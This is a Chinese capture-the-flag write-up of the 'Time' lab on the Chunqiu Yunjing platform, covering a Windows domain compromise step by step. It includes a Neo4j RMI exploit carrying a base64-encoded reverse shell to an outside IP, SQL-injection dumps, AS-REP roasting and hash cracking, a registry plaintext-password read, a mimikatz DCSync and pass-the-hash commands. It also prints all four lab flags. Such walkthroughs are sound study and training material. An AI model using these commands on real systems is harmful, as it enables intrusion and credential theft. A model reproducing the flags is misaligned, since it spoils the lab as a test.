又是渗透
春秋云镜-Time
flag01
先上fscan
.\fscan -h 39.99.244.127 -p 1-65535
1 | start infoscan |
打CVE-2021-34371,成功拿到shell
java -jar ./rhino_gadget.jar rmi://39.99.244.127:1337 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC40NC4xNjkvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}"
flag01: flag{6490064c-7841-4a94-af8d-2aa682980a53}
hint
Do you know the authentication process of Kerberos?
……This will be the key to your progress.
flag02
配代理,扫描内网
1 | wget http://156.238.233.55:8888/fscan |
1 | (icmp) Target 172.22.6.25 is alive |
总结一下信息
172.22.6.25(WIN2019
172.22.6.12(DC域控
172.22.6.36(外网主机
172.22.6.38(存在web服务
那我们先打38这台,发现有一个登录页面
sqlmap试一下,发现能打。
flag02 flag{b142f5ce-d9b8-4b73-9012-ad75175ba029}
flag03
数据库里面有一堆账号,我们全部dump下来。
1 | proxychains4 sqlmap -u "http://172.22.6.38/index.php" --data "username=admin&password=123" -D oa_db -T oa_users --dump |
拿到两百多个域用户。
1 | [500 entries] |
进行域内用户枚举。
写个python提取用户名
1 | import re |
域用户枚举
AS-REPRoasting
对于域用户,如果设置了选项Do not require Kerberos preauthentication(不要求Kerberos预身份认证),此时向域控制器的88端口发送AS-REQ请求,对收到的AS-REP内容重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat或是john对其破解,最终获得该用户的明文口令。这里也对应了我们一开始拿到的hint
1 | proxychains4 impacket-GetNPUsers -dc-ip 172.22.6.12 -usersfile usernames.txt xiaorang.lab/ |
得到一个
$krb5asrep$23$zhangxin@XIAORANG.LAB:beaa2244ae0eacf55ff87fb0439871af$d9cb6278a96d5f98b916b85720cc821cfd2bc09f6d2b1e255d254ce043c17fe636ea505da7e5a7ca614ddd3c4b654b096cdd8b05014ed7ff30220c3dea0433a3179ca8e971e6b0702e1663d2f488a79976aacc8f01d5b6682d744bb17f3978efb7aecacfbf84f06ce196437a0aaf6931903b42b3bd7778ab19c7124381ef34bf9c44189ba31eb916e75f5829053dbd71a93fa784c3719a0a519c3e147796363a1a54ec1e37a790c257cc71e12d82b5653fbf299f244001a24355bfad2a008a42478a119900e8c7c88a810974615aa389b3aa28ee81473d2afe30606d47e62bde7715ec8c036457d8c9c57e91
利用hashcat爆破,因为hashcat可以自己探测哈希类型所以直接这样利用字典爆破就行。
1 | ./hashcat hash.txt rockyou.txt |
域管
拿到账号密码,rdp上到172.22.6.25。
1 | xiaorang.lab\ZHANGXIN |
做一下信息收集。
1 | Find Shortest Paths to Domain Admins |
找到达域管最短的路径
发现yuxuan存在HasSIDHistory
借用hony师傅的解释:
域用户 YUXUAN 在其 SIDHistory 属性中具有域管理员 ADMINISTRATOR 的 SID。当为 YUXUAN 创建一个 kerberos 票证时,它将包含 ADMINISTRATOR 的 SID,因此授予 YUXUAN 与 ADMINISTRATOR 相同的特权和权限。
SID History 是在域之间迁移安全主体时使用的合法机制,以保持引用其先前 SID 的所有授权正常运行。
在穿越域信任边界时,如果两个域之间的域信任强制执行 SID 过滤,则此攻击将不起作用,因为域用户的 kerberos 票证 PAC 的 ExtraSIDs 部分中的 SID 将被忽略。
所以可以通过yuxuan用户来dump哈希。再打pth拿flag。
然后问题就是如何登录yuxuan用户了。
正好yuxuan设置了自动登录,所以可以从注册表里面直接读到明文密码。
1 | reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" |
直接拿到yuxuan的账号密码
再用yuxuan来rdp
1 | xiaorang.lab\YUXUAN |
现在就可以抓管理员哈希了。
上mimikatz
1 | lsadump::dcsync /domain:xiaorang.lab /all /csv |
打pth
1 | proxychains crackmapexec smb 172.22.6.25 -u administrator -H04d93ffd6f5f6e4490e0de23f240a5e9 -d xiaorang.lab -x "type Users\Administrator\flag\flag*" |
flag03: flag{446e9776-520e-44aa-a1be-5e002acca88b}
flag04
也是pth
1 | proxychains crackmapexec smb 172.22.6.12 -u administrator -H04d93ffd6f5f6e4490e0de23f240a5e9 -d xiaorang.lab -x "type Users\Administrator\flag\flag*" |
flag04: flag{511ab880-35a7-475a-ad9a-b1124c27e6e7}